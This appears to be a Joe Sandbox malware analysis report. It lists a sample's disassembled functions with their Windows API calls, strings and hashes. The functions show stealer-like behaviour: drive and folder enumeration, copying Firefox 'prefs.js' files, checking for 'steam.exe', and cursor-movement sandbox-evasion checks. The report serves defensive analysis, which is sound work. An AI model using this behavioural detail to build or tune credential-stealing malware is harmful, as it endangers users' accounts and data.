Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: 10c560117917cfbd4ee792b74dcad66e0a251e4b7e7ce20669f728359b0fab0a
Instruction ID: 88212482e61c38d6adeb350daf76865ac36e759293298fcb9c1376b129d362aa
Opcode Fuzzy Hash: 10c560117917cfbd4ee792b74dcad66e0a251e4b7e7ce20669f728359b0fab0a
Instruction Fuzzy Hash: 875119B190021CAFDF21AF64DC85AEEBBB9FB05304F0041A9FA09A7111EB315E49CF55

Function 0018CD0C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0018CD31
FindFirstFileA.KERNEL32(?,?), ref: 0018CD48
StrCmpCA.SHLWAPI(?,001B74E4), ref: 0018CD69
StrCmpCA.SHLWAPI(?,001B74E8), ref: 0018CD83

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

lstrlenA.KERNEL32(0018D38A,001B685F,001B74EC,?,001B685E), ref: 0018CE16
DeleteFileA.KERNEL32(?,001B7504,001B686E,?,001B7500,001B74FC,001B74F8,001B74F4), ref: 0018D0F7
CopyFileA.KERNEL32(?,?,00000001), ref: 0018D10B

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

Part of subcall function 00196ED9: CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
Part of subcall function 00196ED9: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

FindNextFileA.KERNEL32(?,?), ref: 0018D211
FindClose.KERNEL32(?), ref: 0018D225

Strings

%s\*.*, xrefs: 0018CD2B

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcatlstrlen$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 3967855609-1013718255
Opcode ID: 2c9375e3ace59dc527d45d6153336a27e1305466c71150ccb9ca3c91146dc08d
Instruction ID: 0e61b99e716c997aae1de8279eb171b2eb0d1434b9ea52b41ff9e28cee533809
Opcode Fuzzy Hash: 2c9375e3ace59dc527d45d6153336a27e1305466c71150ccb9ca3c91146dc08d
Instruction Fuzzy Hash: F2D17932D011299BEF22FB24DD46ADD77B4AF59314F4140E1E918B7152DB70AF8A8F81

Function 0018D59B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

FindFirstFileA.KERNEL32(?,?,001B7568,001B6887,?,?,?), ref: 0018D61C
StrCmpCA.SHLWAPI(?,001B756C), ref: 0018D63D
StrCmpCA.SHLWAPI(?,001B7570), ref: 0018D657
StrCmpCA.SHLWAPI(?,prefs.js,001B7574,?,001B688F), ref: 0018D6E3

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

CopyFileA.KERNEL32(?,?,00000001), ref: 0018D7BD
DeleteFileA.KERNEL32(?), ref: 0018D888
FindNextFileA.KERNEL32(?,?), ref: 0018D92B
FindClose.KERNEL32(?), ref: 0018D93F

Strings

prefs.js, xrefs: 0018D6D7

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: 94dd6d1bddea8546b12d9c4dcd2320983777fed03358e8764ebc12b0b76107df
Instruction ID: 92dfa5424c2215c648c9f86604de739aea034a4061db0b784bf08e1a234e5b1a
Opcode Fuzzy Hash: 94dd6d1bddea8546b12d9c4dcd2320983777fed03358e8764ebc12b0b76107df
Instruction Fuzzy Hash: 1FA1B632D006289BDF62FB24EC46ADD77B4AF55314F4141E1E908B7291DB74AF8A8F81

Function 0018B914 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

FindFirstFileA.KERNEL32(?,?,\*.*,001B6826,?,?,?), ref: 0018B970
StrCmpCA.SHLWAPI(?,001B7434), ref: 0018B991
StrCmpCA.SHLWAPI(?,001B7438), ref: 0018B9AB

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

CopyFileA.KERNEL32(?,?,00000001), ref: 0018BDE0

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

DeleteFileA.KERNEL32(?), ref: 0018BE57

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00196ED9: CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
Part of subcall function 00196ED9: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

FindNextFileA.KERNEL32(?,?), ref: 0018BEC6
FindClose.KERNEL32(?), ref: 0018BEDA

Strings

\*.*, xrefs: 0018B93A

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcat$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2055012574-1173974218
Opcode ID: cae1397945f495a2b7816b8c673c7e8c72d07033923928b673e73c6d84920856
Instruction ID: 10dee6d13d986b8f50be62ea8280e795e6748905fc9f049e38e5ac332025a789
Opcode Fuzzy Hash: cae1397945f495a2b7816b8c673c7e8c72d07033923928b673e73c6d84920856
Instruction Fuzzy Hash: 8CE17F31900529DBDF22FB24DD46ACDB7B4AF69709F4240E1E51877162DB34AF8A8F80

Function 0018B5B4 Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

FindFirstFileA.KERNEL32(?,?,001B741C,001B6822,?,?,?), ref: 0018B62C
StrCmpCA.SHLWAPI(?,001B7420), ref: 0018B64D
StrCmpCA.SHLWAPI(?,001B7424), ref: 0018B667
StrCmpCA.SHLWAPI(?,001B7428,?,001B6823), ref: 0018B6F4
StrCmpCA.SHLWAPI(?), ref: 0018B755

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 0018ABBA: CopyFileA.KERNEL32(?,?,00000001), ref: 0018AC5F

FindNextFileA.KERNEL32(?,?), ref: 0018B8C0
FindClose.KERNEL32(?), ref: 0018B8D4

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: 3f0b26787d2530ba4a11da699b4900b879a5ba38d655e5e000979fac2f5d72ae
Instruction ID: 6901081a48478e08badedc81b39f74d71cbe2cde0715a796eb26cc9ce052e184
Opcode Fuzzy Hash: 3f0b26787d2530ba4a11da699b4900b879a5ba38d655e5e000979fac2f5d72ae
Instruction Fuzzy Hash: C181F7319046189BCF62FB34EC86ADD77B8AB18304F4501A1FD08A7651EB74AF998F91

Function 0019247D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00192487
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001924A9
Process32First.KERNEL32(00000000,00000128), ref: 001924B9
Process32Next.KERNEL32(00000000,00000128), ref: 001924CB
StrCmpCA.SHLWAPI(?,steam.exe), ref: 001924DD
CloseHandle.KERNEL32(00000000), ref: 001924F6

Strings

steam.exe, xrefs: 0019248C, 001924D5

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 5f0b4695876433b87ba42784f6203a9053ccf5ccfd2cf17da02571a0901d38e1
Instruction ID: b4206595db740ac196e0042e28f86117cefb61cd059555db61db5a6ea76d4ef6
Opcode Fuzzy Hash: 5f0b4695876433b87ba42784f6203a9053ccf5ccfd2cf17da02571a0901d38e1
Instruction Fuzzy Hash: 3801EC75A01218EBDB61AF64DD49BEE7BBCAB49700F4401A9E40DE71A0DB348A819F51

Function 0018180D Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00181823
SetThreadDesktop.USER32(00000000), ref: 0018182A
GetCursorPos.USER32(?), ref: 0018183A
Sleep.KERNEL32(000003E8), ref: 0018184A
GetCursorPos.USER32(?), ref: 00181859
Sleep.KERNEL32(00002710), ref: 0018186B
Sleep.KERNEL32(000003E8), ref: 00181870
GetCursorPos.USER32(?), ref: 0018187F

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
